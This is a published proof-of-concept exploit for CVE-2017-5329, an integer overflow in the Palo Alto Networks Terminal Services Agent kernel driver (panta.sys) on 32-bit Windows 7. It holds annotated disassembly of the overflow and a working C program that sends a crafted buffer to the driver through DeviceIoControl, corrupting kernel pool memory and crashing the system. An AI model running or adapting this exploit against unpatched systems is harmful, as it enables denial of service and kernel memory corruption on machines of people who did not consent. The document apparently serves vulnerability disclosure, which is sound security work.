1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 |
/* Exploit Title- Palo Alto Networks Terminal Services Agent Integer Overflow Date - 26th January 2017 Discovered by- Parvez Anwar (@parvezghh) Vendor Homepage- https://www.paloaltonetworks.com/ Tested Version - 7.0.3-13 Driver Version - 6.0.7.0 - panta.sys Tested on OS - 32bit Windows 7 SP1 CVE ID - CVE-2017-5329 Vendor fix url - https://securityadvisories.paloaltonetworks.com/ https://securityadvisories.paloaltonetworks.com/Home/Detail/71 Fixed Version- 7.0.7 and later Fixed driver ver - 6.0.8.0 Disassembly ----------- .text:9A26F0BD loc_9A26F0BD: .text:9A26F0BD mov ecx, DeviceObject .text:9A26F0C3 mov dword ptr [ecx+1ACh], 0 .text:9A26F0CD mov edx, DeviceObject .text:9A26F0D3 mov eax, [edx+1B8h] ; eax points to our inputted buffer .text:9A26F0D9 mov ecx, [eax+14h]; Takes size to allocate from our inputted buffer 0x04924925 .text:9A26F0DC imulecx, 38h; 0x38 * 0x04924925 = 0x100000018. Wraps round becoming size to allocate 0x18 (Integer Overflow) .text:9A26F0DF mov [ebp+NumberOfBytes], ecx; Copy ecx value 0x18 onto stack .text:9A26F0E2 push44415450h ; Tag (PTAD string used) .text:9A26F0E7 mov edx, [ebp+NumberOfBytes]; Copy size 0x18 to edx .text:9A26F0EA pushedx ; NumberOfBytes .text:9A26F0EB push0 ; PoolType .text:9A26F0ED callds:ExAllocatePoolWithTag; If returned null (eax) exits with error cleanly else takes crash path .text:9A26F0F3 mov ecx, DeviceObject .text:9A26F0F9 mov [ecx+1B0h], eax .text:9A26F0FF mov edx, DeviceObject .text:9A26F105 cmp dword ptr [edx+1B0h], 0 ; Checks return value. If not null then jumps to our crash path .text:9A26F10C jnz short loc_9A26F13C; Exits with error cleanly if incorrect size value but not crashable value .text:9A26F13C .text:9A26F13C loc_9A26F13C: .text:9A26F13C mov ecx, [ebp+NumberOfBytes] .text:9A26F13F pushecx ; 0x18 our allocated pool memory .text:9A26F140 push0 ; int, sets allocated memory to 0x00 .text:9A26F142 mov edx, DeviceObject .text:9A26F148 mov eax, [edx+1B0h] .text:9A26F14E pusheax ; Pointer to our allocated buffer .text:9A26F14F callmemset .text:9A26F154 add esp, 0Ch .text:9A26F157 mov [ebp+var_4], 0; Null out ebp-4 .text:9A26F15E jmp short loc_9A26F169 .text:9A26F160 loc_9A26F160: .text:9A26F160 mov ecx, [ebp+var_4] .text:9A26F163 add ecx, 1; Increment counter .text:9A26F166 mov [ebp+var_4], ecx; Store counter value .text:9A26F169 loc_9A26F169: .text:9A26F169 mov edx, DeviceObject .text:9A26F16F mov eax, [edx+1B8h] ; eax points to our inputted buffer .text:9A26F175 mov ecx, [ebp+var_4]; Loop counter number .text:9A26F178 cmp ecx, [eax+14h]; Compares our inputted buffer size 0x04924925. Here our ; size is not using the wrapped value so loops till BSOD .text:9A26F17B jnb short loc_9A26F19A .text:9A26F17D mov edx, [ebp+var_4]; Counter value .text:9A26F180 imuledx, 38h .text:9A26F183 mov eax, DeviceObject .text:9A26F188 mov ecx, [eax+1B0h] ; Pointer to allocated pool copied to ecx .text:9A26F18E lea edx, [ecx+edx+30h]; pointer+size(0x38*edx)+0x30 .text:9A26F192 pushedx .text:9A26F193 callsub_9A26C000; Starts overwriting other pool allocations !!! .text:9A26F198 jmp short loc_9A26F160 .text:9A26C000 sub_9A26C000proc near .text:9A26C000 .text:9A26C000 .text:9A26C000 arg_0 = dword ptr8 .text:9A26C000 .text:9A26C000 pushebp .text:9A26C001 mov ebp, esp .text:9A26C003 mov eax, [ebp+arg_0]; Copy allocated buffer pointer (pointer+size(0x38*edx)+0x30) to eax .text:9A26C006 mov ecx, [ebp+arg_0]; Copy allocated buffer pointer (pointer+size(0x38*edx)+0x30) to ecx .text:9A26C009 mov [eax+4], ecx; Store pointer in allocated buffer at pointer+size(0x38*edx)+0x30+4 .text:9A26C00C mov edx, [ebp+arg_0]; Copy allocated buffer pointer+size(0x38*edx)+0x30 to edx .text:9A26C00F mov eax, [ebp+arg_0]; Copy allocated buffer pointer+size(0x38*edx)+0x30 to eax .text:9A26C012 mov [edx], eax; Store pointer in allocated buffer at pointer+size(0x38*edx)+0x30 .text:9A26C014 pop ebp .text:9A26C015 retn4 .text:9A26C015 sub_9A26C000endp */ #include <stdio.h> #include <windows.h> #define BUFSIZE 44 int main(int argc, char *argv[]) { HANDLE hDevice; char devhandle[MAX_PATH]; DWORDdwRetBytes = 0; unsigned charbuffer[BUFSIZE]; memset(buffer, 0x41, BUFSIZE); printf("\n[i] Size of total input buffer %d bytes", BUFSIZE); *(DWORD*)(buffer + 20) = 0x04924925; sprintf(devhandle, "\\\\.\\%s", "panta"); hDevice = CreateFile(devhandle, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING , 0, NULL); if(hDevice == INVALID_HANDLE_VALUE) { printf("\n[-] Failed to open device %s\n\n", devhandle); return -1; } else { printf("\n[+] Open %s device successful", devhandle); } printf("\n[~] Press any key to continue . . ."); getch(); DeviceIoControl(hDevice, 0x88002200, buffer, BUFSIZE, NULL, 0, &dwRetBytes, NULL); printf("\n"); CloseHandle(hDevice); return 0; } |